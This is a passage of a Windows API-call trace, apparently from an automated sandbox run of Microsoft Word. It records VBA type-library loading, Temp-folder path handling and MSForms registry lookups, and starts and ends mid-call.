Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchWideChar=58, lpMultiByteStr=0xb5690f61f0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLBVBE7.DLL", lpUsedDefaultChar=0x0) returned 58 [0095.428] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2764b66c5b0 [0095.428] strcpy_s (in: _Dst=0x2764b66c5d8, _DstSize=0x3b, _Src="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB" | out: _Dst="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB") returned 0x0 [0095.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=5, lpMultiByteStr=0xb5690f6300, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word", lpUsedDefaultChar=0x0) returned 5 [0095.429] strcpy_s (in: _Dst=0x2764b66c620, _DstSize=0x5, _Src="Word" | out: _Dst="Word") returned 0x0 [0095.429] IUnknown:AddRef (This=0x276454c2ce0) returned 0xc [0095.429] ITypeLib:LocalReleaseTLibAttr (This=0x276454c2ce0) returned 0x0 [0095.429] IUnknown:Release (This=0x276454c2ce0) returned 0xb [0095.429] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned -50 [0095.429] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned -5 [0095.429] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation") returned 0 [0095.429] IUnknown:AddRef (This=0x276454c2a20) returned 0x6 [0095.429] ITypeLib:RemoteGetLibAttr (in: This=0x276454c2a20, ppTLibAttr=0xb5690f6168, pDummy=0x0 | out: ppTLibAttr=0xb5690f6168, pDummy=0x0) returned 0x0 [0095.429] ITypeLib:RemoteGetDocumentation (in: This=0x276454c2a20, index=-1, refPtrFlags=0x690f6180, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0095.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\System32\\stdole2.tlb#OLE Automation", cchWideChar=31, lpMultiByteStr=0xb5690f61f0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\System32\\stdole2.tlb", lpUsedDefaultChar=0x0) returned 31 [0095.429] strcpy_s (in: _Dst=0x2764b66c690, _DstSize=0x20, _Src="C:\\Windows\\System32\\stdole2.tlb" | out: _Dst="C:\\Windows\\System32\\stdole2.tlb") returned 0x0 [0095.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0xb5690f6300, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7 [0095.430] strcpy_s (in: _Dst=0x2764b66c6b8, _DstSize=0x7, _Src="stdole" | out: _Dst="stdole") returned 0x0 [0095.430] IUnknown:AddRef (This=0x276454c2a20) returned 0x7 [0095.430] ITypeLib:LocalReleaseTLibAttr (This=0x276454c2a20) returned 0x0 [0095.430] IUnknown:Release (This=0x276454c2a20) returned 0x6 [0095.431] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x20) returned 0x276455c23f0 [0095.431] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 2 [0095.431] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 2 [0095.431] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation") returned 2 [0095.432] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\CNormal") returned 4 [0095.432] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0 [0095.432] IUnknown:AddRef (This=0x276454c16e0) returned 0x3 [0095.432] ITypeLib:RemoteGetLibAttr (in: This=0x276454c16e0, ppTLibAttr=0xb5690f6168, pDummy=0x0 | out: ppTLibAttr=0xb5690f6168, pDummy=0x0) returned 0x0 [0095.432] ITypeLib:RemoteGetDocumentation (in: This=0x276454c16e0, index=-1, refPtrFlags=0x690f6180, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x27639ee0000 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x27639ee0000*=0x0) returned 0x0 [0095.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchWideChar=63, lpMultiByteStr=0xb5690f61f0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLLDLL", lpUsedDefaultChar=0x0) returned 63 [0095.432] strcpy_s (in: _Dst=0x2764b66c728, _DstSize=0x40, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0095.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=7, lpMultiByteStr=0xb5690f6300, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7 [0095.432] strcpy_s (in: _Dst=0x2764b66c770, _DstSize=0x7, _Src="Office" | out: _Dst="Office") returned 0x0 [0095.432] IUnknown:AddRef (This=0x276454c16e0) returned 0x4 [0095.432] ITypeLib:LocalReleaseTLibAttr (This=0x276454c16e0) returned 0x0 [0095.432] IUnknown:Release (This=0x276454c16e0) returned 0x3 [0095.432] _wcsicmp (_String1="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\WINDOWS\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 52 [0095.433] _wcsicmp (_String1="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\WINDOWS\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 52 [0095.433] _wcsicmp (_String1="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\WINDOWS\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation") returned 52 [0095.433] _wcsicmp (_String1="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\WINDOWS\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library", _String2="*\\CNormal") returned 4 [0095.433] _wcsicmp (_String1="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\WINDOWS\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library", _String2="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned -2 [0095.433] _wcsicmp (_String1="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\WINDOWS\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library", _String2="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\WINDOWS\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library") returned 0 [0095.433] IUnknown:AddRef (This=0x2763beee850) returned 0x2 [0095.434] ITypeLib:RemoteGetLibAttr (in: This=0x2763beee850, ppTLibAttr=0xb5690f6168, pDummy=0x0 | out: ppTLibAttr=0xb5690f6168, pDummy=0x0) returned 0x0 [0095.434] ITypeLib:RemoteGetDocumentation (in: This=0x2763beee850, index=-1, refPtrFlags=0x690f6180, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0095.434] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library", cchWideChar=28, lpMultiByteStr=0xb5690f61f0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32\\FM20.DLLù\x7f", lpUsedDefaultChar=0x0) returned 28 [0095.434] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2764b66b830 [0095.434] strcpy_s (in: _Dst=0x2764b66b858, _DstSize=0x1d, _Src="C:\\WINDOWS\\system32\\FM20.DLL" | out: _Dst="C:\\WINDOWS\\system32\\FM20.DLL") returned 0x0 [0095.434] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MSForms", cchWideChar=8, lpMultiByteStr=0xb5690f6300, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSForms", lpUsedDefaultChar=0x0) returned 8 [0095.434] strcpy_s (in: _Dst=0x2764b66c7c8, _DstSize=0x8, _Src="MSForms" | out: _Dst="MSForms") returned 0x0 [0095.434] IUnknown:AddRef (This=0x2763beee850) returned 0x3 [0095.434] ITypeLib:LocalReleaseTLibAttr (This=0x2763beee850) returned 0x0 [0095.439] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764b3cb398, ppTypeAttr=0xb5690f6120, pDummy=0x0 | out: ppTypeAttr=0xb5690f6120, pDummy=0x0) returned 0x0 [0095.439] GetTempPathA (in: nBufferLength=0x104, lpBuffer=0xb5690f5fc0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 0x23 [0095.439] _access (_FileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", _AccessMode=0) returned 0 [0095.439] strnlen (_Str="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", _MaxCount=0x7fffffff) returned 0x23 [0095.440] malloc (_Size=0x24) returned 0x27649978930 [0095.440] malloc (_Size=0x24) returned 0x27649978750 [0095.440] lstrcpynA (in: lpString1=0x27649978930, lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", iMaxLength=36 | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\" [0095.442] lstrlenA (lpString="VBE") returned 3 [0095.442] lstrlenA (lpString="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 35 [0095.442] _msize (_Block=0x27649978930) returned 0x24 [0095.442] realloc (_Block=0x27649978930, _Size=0x27) returned 0x276499785d0 [0095.442] lstrlenA (lpString="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 35 [0095.442] lstrlenA (lpString="VBE") returned 3 [0095.442] _msize (_Block=0x27649978750) returned 0x24 [0095.442] realloc (_Block=0x27649978750, _Size=0x27) returned 0x276499788a0 [0095.442] lstrlenA (lpString="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 35 [0095.442] lstrlenA (lpString="VBE") returned 3 [0095.442] lstrcatA (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", lpString2="VBE" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE") returned="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE" [0095.442] strcpy_s (in: _Dst=0x276499788a0, _DstSize=0x27, _Src="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE") returned 0x0 [0095.442] _access_s (_FileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE", _AccessMode=0) returned 0x0 [0095.442] strcpy_s (in: _Dst=0x276499788a0, _DstSize=0x27, _Src="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE") returned 0x0 [0095.442] _access_s (_FileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE", _AccessMode=2) returned 0x0 [0095.442] strcpy_s (in: _Dst=0x276499788a0, _DstSize=0x27, _Src="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE") returned 0x0 [0095.443] strcpy_s (in: _Dst=0x276499788a0, _DstSize=0x27, _Src="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE") returned 0x0 [0095.443] strcpy_s (in: _Dst=0x276499788a0, _DstSize=0x27, _Src="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE") returned 0x0 [0095.443] _access_s (_FileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE", _AccessMode=0) returned 0x0 [0095.443] IUnknown:AddRef (This=0x2764b3cb398) returned 0x3 [0095.443] ITypeInfo:LocalReleaseTypeAttr (This=0x2764b3cb398) returned 0x0 [0095.443] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764b3cb398, ppTypeAttr=0xb5690f6120, pDummy=0x0 | out: ppTypeAttr=0xb5690f6120, pDummy=0x0) returned 0x0 [0095.443] ITypeInfo:LocalReleaseTypeAttr (This=0x2764b3cb398) returned 0x0 [0095.443] IUnknown:AddRef (This=0x2764af38668) returned 0x3 [0095.443] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xf8) returned 0x2764b4118f0 [0095.443] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x58) returned 0x2764553a830 [0095.443] wcscpy_s (in: _Destination=0x2764553a830, _SizeInWords=0x2c, _Source="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0" | out: _Destination="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0") returned 0x0 [0095.443] LoadTypeLib (in: szFile="C:\\WINDOWS\\system32\\FM20.DLL", pptlib=0xb5690f60e8*=0x0 | out: pptlib=0xb5690f60e8*=0x2763beee850) returned 0x0 [0095.443] ITypeLib:RemoteGetDocumentation (in: This=0x2763beee850, index=-1, refPtrFlags=0x690f6100, pBstrName=0xb5690f6138, pBstrDocString=0xb5690f6178, pdwHelpContext=0xb5690f6128, pBstrHelpFile=0x27600000000 | out: pBstrName=0xb5690f6138*="Microsoft Forms 2.0 Object Library", pBstrDocString=0xb5690f6178, pdwHelpContext=0xb5690f6128*=0x4b15db98, pBstrHelpFile=0x27600000000) returned 0x0 [0095.454] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x6e) returned 0x27645313810 [0095.454] wcscpy_s (in: _Destination=0x27645313810, _SizeInWords=0x37, _Source="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\" | out: _Destination="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\") returned 0x0 [0095.454] wcscat_s (in: _Destination="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\", _SizeInWords=0x37, _Source="MSForms" | out: _Destination="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\MSForms") returned 0x0 [0095.455] wcscat_s (in: _Destination="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\MSForms", _SizeInWords=0x37, _Source=".exd" | out: _Destination="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\MSForms.exd") returned 0x0 [0095.455] ITypeLib:RemoteGetLibAttr (in: This=0x2763beee850, ppTLibAttr=0xb5690f60f0, pDummy=0x7ff9be1d8f02 | out: ppTLibAttr=0xb5690f60f0, pDummy=0x7ff9be1d8f02*=0x0) returned 0x0 [0095.455] LoadTypeLibEx (in: szFile="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\MSForms.exd", regkind=0x2, pptlib=0xb5690f62b8*=0x0 | out: pptlib=0xb5690f62b8*=0x0) returned 0x80029c4a [0096.640] CoCreateGuid (in: pguid=0xb5690f6118 | out: pguid=0xb5690f6118*(Data1=0x415cb841, Data2=0x9e3a, Data3=0x4967, Data4=([0]=0x80, [1]=0xa5, [2]=0xf5, [3]=0xe0, [4]=0x9, [5]=0x1e, [6]=0xea, [7]=0x39))) returned 0x0 [0096.640] IUnknown:AddRef (This=0x2763beee850) returned 0x6 [0096.641] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xd5c) returned 0x2764b711a30 [0096.641] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b711a30) returned 0xd5c [0096.641] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2763c4a63d0 [0096.641] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2763c4a6d90 [0096.641] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2763c4a6c70 [0096.641] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2763c4a6ca0 [0096.641] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2763c4a6460 [0096.641] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2763c4a6d00 [0096.641] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2763c4a62b0 [0096.642] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x276455e5000 [0096.642] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2763c4a6310 [0096.642] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2763c4a6430 [0096.642] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x32) returned 0x276455e5600 [0096.642] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2763c4a6550 [0096.642] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x276455e5940 [0096.642] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2763c4a6490 [0096.643] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2763c4a65e0 [0096.643] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2763c4a7f00 [0096.643] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b61aa50 [0096.643] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b61ab90 [0096.643] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2763c4a7c30 [0096.643] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2763c4a7cc0 [0096.643] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2763c4a8140 [0096.643] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2763c4a7ed0 [0096.644] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2763c4a7d80 [0096.644] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2763c4a7f60 [0096.644] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2763c4a8560 [0096.644] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2763c4a7ae0 [0096.644] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2763c4a7b70 [0096.644] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b61af10 [0096.644] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2763c4a7f90 [0096.644] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2763c4a7c90 [0096.644] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2763c4a80b0 [0096.645] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2763c4a7c00 [0096.645] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2763c4a8050 [0096.645] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2763c4a7cf0 [0096.645] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2763c4a8440 [0096.645] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2763c4a7db0 [0096.645] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2763c4a80e0 [0096.645] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x50) returned 0x2763c01de50 [0096.645] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x50) returned 0x2763c01e150 [0096.649] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2763c01de50, cb=0xa0) returned 0x2764b64c230 [0096.649] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2763c01e150, cb=0xa0) returned 0x2764b64a6b0 [0096.650] RegOpenKeyW (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{82B02373-B5BC-11CF-810F-00A0C9030074}", phkResult=0xb5690f5ec8 | out: phkResult=0xb5690f5ec8*=0x142e) returned 0x0 [0096.651] RegOpenKeyW (in: hKey=0x142e, lpSubKey="Control", phkResult=0xb5690f5ed0 | out: phkResult=0xb5690f5ed0*=0x0) returned 0x2 [0096.651] RegOpenKeyW (in: hKey=0x142e, lpSubKey="Insertable", phkResult=0xb5690f5ed0 | out: phkResult=0xb5690f5ed0*=0x0) returned 0x2 [0096.652] RegOpenKeyW (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{82B02374-B5BC-11CF-810F-00A0C9030074}", phkResult=0xb5690f5ec8 | out: phkResult=0xb5690f5ec8*=0x142e) returned 0x0 [0096.652] RegOpenKeyW (in: hKey=0x142e, lpSubKey="Control", phkResult=0xb5690f5ed0 | out: phkResult=0xb5690f5ed0*=0x0) returned 0x2 [0096.652] RegOpenKeyW (in: hKey=0x142e, lpSubKey="Insertable", phkResult=0xb5690f5ed0 | out: phkResult=0xb5690f5ed0*=0x0) returned 0x2 [0096.653] RegOpenKeyW (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{82B02375-B5BC-11CF-810F-00A0C9030074}", phkResult=0xb5690f5ec8 | out: phkResult=0xb5690f5ec8*=0x142e) returned 0x0 [0096.653] RegOpenKeyW (in: hKey=0x142e, lpSubKey="Control", phkResult=0xb5690f5ed0 | out: phkResult=0xb5690f5ed0*=0x0) returned 0x2 [0096.653] RegOpenKeyW (in: hKey=0x142e, lpSubKey="Insertable", phkResult=0xb5690f5ed0 | out: phkResult=0xb5690f5ed0*=0x0) returned 0x2 [0096.654] RegOpenKeyW (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{8A683C92-BA84-11CF-8110-00A0C9030074}", phkResult=0xb5690f5ec8 | out: phkResult=0xb5690f5ec8*=0x142e) returned 0x0 [0096.654] RegOpenKeyW (in: hKey=0x142e, lpSubKey="Control", phkResult=0xb5690f5ed0 | out: phkResult=0xb5690f5ed0*=0x0) returned 0x2 [0096.654] RegOpenKeyW (in: hKey=0x142e, lpSubKey="Insertable", phkResult=0xb5690f5ed0 | out: phkResult=0xb5690f5ed0*=0x0) returned 0x2 [0096.655] RegOpenKeyW (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{8A683C93-BA84-11CF-8110-00A0C9030074}", phkResult=0xb5690f5ec8 | out: phkResult=0xb5690f5ec8*=0x142e) returned 0x0 [0096.655] RegOpenKeyW (in: hKey=0x142e, lpSubKey="Control", phkResult=0xb5690f5ed0 | out: phkResult=0xb5690f5ed0*=0x0) returned 0x2 [0096.655] RegOpenKeyW (in: hKey=0x142e, lpSubKey="Insertable", phkResult=0xb5690f5ed0 | out: phkResult=0xb5690f5ed0*=0x0) returned 0x2 [0096.655] RegOpenKeyW (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{1C3B4210-F441-11CE-B9EA-00AA006B1A69}", phkResult=0xb5690f5ec8 | out: phkResult=0xb5690f5ec8*=0x142a) returned 0x0 [0096.656] RegOpenKeyW (in: hKey=0x142a, lpSubKey="Control", phkResult=0xb5690f5ed0 | out: phkResult=0xb5690f5ed0*=0x0) returned 0x2 [0096.656] RegOpenKeyW (in: hKey=0x142a, lpSubKey="Insertable", phkResult=0xb5690f5ed0 | out: phkResult=0xb5690f5ed0*=0x0) returned 0x2 [0096.657] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b64c230, cb=0xf0) returned 0x2764b4136f0 [0096.657] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b64a6b0, cb=0xf0) returned 0x27645100c40 [0096.661] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b4136f0, cb=0x140) returned 0x2764b662a00 [0096.661] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x27645100c40, cb=0x140) returned 0x2764b6635d0 [0096.665] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b662a00, cb=0x190) returned 0x2764515e6c0 [0096.665] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b6635d0, cb=0x190) returned 0x2764515f8a0 [0096.667] RegOpenKeyW (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{909E0AE0-16DC-11CE-9E98-00AA00574A4F}", phkResult=0xb5690f5ec8 | out: phkResult=0xb5690f5ec8*=0x142a) returned 0x0 [0096.667] RegOpenKeyW (in: hKey=0x142a, lpSubKey="Control", phkResult=0xb5690f5ed0 | out: phkResult=0xb5690f5ed0*=0x0) returned 0x2 [0096.667] RegOpenKeyW (in: hKey=0x142a, lpSubKey="Insertable", phkResult=0xb5690f5ed0 | out: phkResult=0xb5690f5ed0*=0x0) returned 0x2 [0096.670] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764515e6c0, cb=0x1e0) returned 0x2764b12fdc0 [0096.670] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764515f8a0, cb=0x1e0) returned 0x2764b71c4f0 [0096.685] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b12fdc0, cb=0x230) returned 0x2764b66c7f0 [0096.686] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b71c4f0, cb=0x230) returned 0x2764b66ba70 [0096.702] IMalloc:Realloc (This=0x7ff9e7edf3f0, 